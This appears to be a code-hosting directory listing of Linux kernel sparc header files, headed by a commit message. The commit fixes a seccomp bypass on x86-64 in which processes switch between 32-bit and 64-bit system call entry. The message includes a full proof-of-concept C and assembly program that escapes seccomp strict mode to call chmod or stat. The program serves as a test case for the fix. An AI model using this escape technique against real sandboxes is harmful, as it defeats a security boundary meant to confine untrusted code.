5b1017404a
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> |
||
---|---|---|
.. | ||
agp.h | ||
apb.h | ||
apc.h | ||
asi.h | ||
asm.h | ||
asmmacro.h | ||
atomic_32.h | ||
atomic_64.h | ||
atomic.h | ||
auxio_32.h | ||
auxio_64.h | ||
auxio.h | ||
auxvec.h | ||
backoff.h | ||
bbc.h | ||
bitext.h | ||
bitops_32.h | ||
bitops_64.h | ||
bitops.h | ||
btfixup.h | ||
bug.h | ||
bugs.h | ||
byteorder.h | ||
cache.h | ||
cacheflush_32.h | ||
cacheflush_64.h | ||
cacheflush.h | ||
chafsr.h | ||
checksum_32.h | ||
checksum_64.h | ||
checksum.h | ||
chmctrl.h | ||
clock.h | ||
cmt.h | ||
compat_signal.h | ||
compat.h | ||
contregs.h | ||
cpudata_32.h | ||
cpudata_64.h | ||
cpudata.h | ||
cputime.h | ||
current.h | ||
cypress.h | ||
dcr.h | ||
dcu.h | ||
delay_32.h | ||
delay_64.h | ||
delay.h | ||
device.h | ||
display7seg.h | ||
div64.h | ||
dma-mapping_32.h | ||
dma-mapping_64.h | ||
dma-mapping.h | ||
dma.h | ||
ebus_dma.h | ||
ecc.h | ||
eeprom.h | ||
elf_32.h | ||
elf_64.h | ||
elf.h | ||
emergency-restart.h | ||
envctrl.h | ||
errno.h | ||
estate.h | ||
fb.h | ||
fbio.h | ||
fcntl.h | ||
fhc.h | ||
fixmap.h | ||
floppy_32.h | ||
floppy_64.h | ||
floppy.h | ||
fpumacro.h | ||
ftrace.h | ||
futex_32.h | ||
futex_64.h | ||
futex.h | ||
gpio.h | ||
hardirq_32.h | ||
hardirq_64.h | ||
hardirq.h | ||
head_32.h | ||
head_64.h | ||
head.h | ||
highmem.h | ||
hugetlb.h | ||
hvtramp.h | ||
hw_irq.h | ||
hypervisor.h | ||
ide.h | ||
idprom.h | ||
intr_queue.h | ||
io_32.h | ||
io_64.h | ||
io-unit.h | ||
io.h | ||
ioctl.h | ||
ioctls.h | ||
iommu_32.h | ||
iommu_64.h | ||
iommu.h | ||
ipcbuf.h | ||
irq_32.h | ||
irq_64.h | ||
irq_regs.h | ||
irq.h | ||
irqflags_32.h | ||
irqflags_64.h | ||
irqflags.h | ||
jsflash.h | ||
Kbuild | ||
kdebug_32.h | ||
kdebug_64.h | ||
kdebug.h | ||
kgdb.h | ||
kmap_types.h | ||
kprobes.h | ||
ldc.h | ||
linkage.h | ||
lmb.h | ||
local.h | ||
lsu.h | ||
machines.h | ||
mbus.h | ||
mc146818rtc_32.h | ||
mc146818rtc_64.h | ||
mc146818rtc.h | ||
mdesc.h | ||
memctrl.h | ||
memreg.h | ||
mman.h | ||
mmu_32.h | ||
mmu_64.h | ||
mmu_context_32.h | ||
mmu_context_64.h | ||
mmu_context.h | ||
mmu.h | ||
mmzone.h | ||
module.h | ||
mpmbox.h | ||
msgbuf.h | ||
msi.h | ||
mutex.h | ||
mxcc.h | ||
nmi.h | ||
ns87303.h | ||
obio.h | ||
of_device.h | ||
of_platform.h | ||
openprom.h | ||
openpromio.h | ||
oplib_32.h | ||
oplib_64.h | ||
oplib.h | ||
page_32.h | ||
page_64.h | ||
page.h | ||
param.h | ||
parport.h | ||
pbm.h | ||
pci_32.h | ||
pci_64.h | ||
pci.h | ||
pcic.h | ||
pcr.h | ||
percpu_32.h | ||
percpu_64.h | ||
percpu.h | ||
perfctr.h | ||
pgalloc_32.h | ||
pgalloc_64.h | ||
pgalloc.h | ||
pgtable_32.h | ||
pgtable_64.h | ||
pgtable.h | ||
pgtsrmmu.h | ||
pgtsun4.h | ||
pgtsun4c.h | ||
pil.h | ||
poll.h | ||
posix_types.h | ||
processor_32.h | ||
processor_64.h | ||
processor.h | ||
prom.h | ||
psr.h | ||
psrcompat.h | ||
pstate.h | ||
ptrace.h | ||
resource.h | ||
ross.h | ||
rwsem-const.h | ||
rwsem.h | ||
sbi.h | ||
scatterlist.h | ||
scratchpad.h | ||
seccomp.h | ||
sections.h | ||
sembuf.h | ||
serial.h | ||
setup.h | ||
sfafsr.h | ||
sfp-machine_32.h | ||
sfp-machine_64.h | ||
sfp-machine.h | ||
shmbuf.h | ||
shmparam_32.h | ||
shmparam_64.h | ||
shmparam.h | ||
sigcontext.h | ||
siginfo.h | ||
signal.h | ||
smp_32.h | ||
smp_64.h | ||
smp.h | ||
smpprim.h | ||
socket.h | ||
sockios.h | ||
sparsemem.h | ||
spinlock_32.h | ||
spinlock_64.h | ||
spinlock_types.h | ||
spinlock.h | ||
spitfire.h | ||
stacktrace.h | ||
starfire.h | ||
stat.h | ||
statfs.h | ||
string_32.h | ||
string_64.h | ||
string.h | ||
sunbpp.h | ||
swab.h | ||
swift.h | ||
syscall.h | ||
syscalls.h | ||
sysen.h | ||
system_32.h | ||
system_64.h | ||
system.h | ||
termbits.h | ||
termios.h | ||
thread_info_32.h | ||
thread_info_64.h | ||
thread_info.h | ||
timer_32.h | ||
timer_64.h | ||
timer.h | ||
timex_32.h | ||
timex_64.h | ||
timex.h | ||
tlb_32.h | ||
tlb_64.h | ||
tlb.h | ||
tlbflush_32.h | ||
tlbflush_64.h | ||
tlbflush.h | ||
topology_32.h | ||
topology_64.h | ||
topology.h | ||
traps.h | ||
tsb.h | ||
tsunami.h | ||
ttable.h | ||
turbosparc.h | ||
types.h | ||
uaccess_32.h | ||
uaccess_64.h | ||
uaccess.h | ||
uctx.h | ||
unaligned.h | ||
unistd.h | ||
upa.h | ||
user.h | ||
utrap.h | ||
vac-ops.h | ||
vaddrs.h | ||
vga.h | ||
viking.h | ||
vio.h | ||
visasm.h | ||
watchdog.h | ||
winmacro.h | ||
xor_32.h | ||
xor_64.h | ||
xor.h |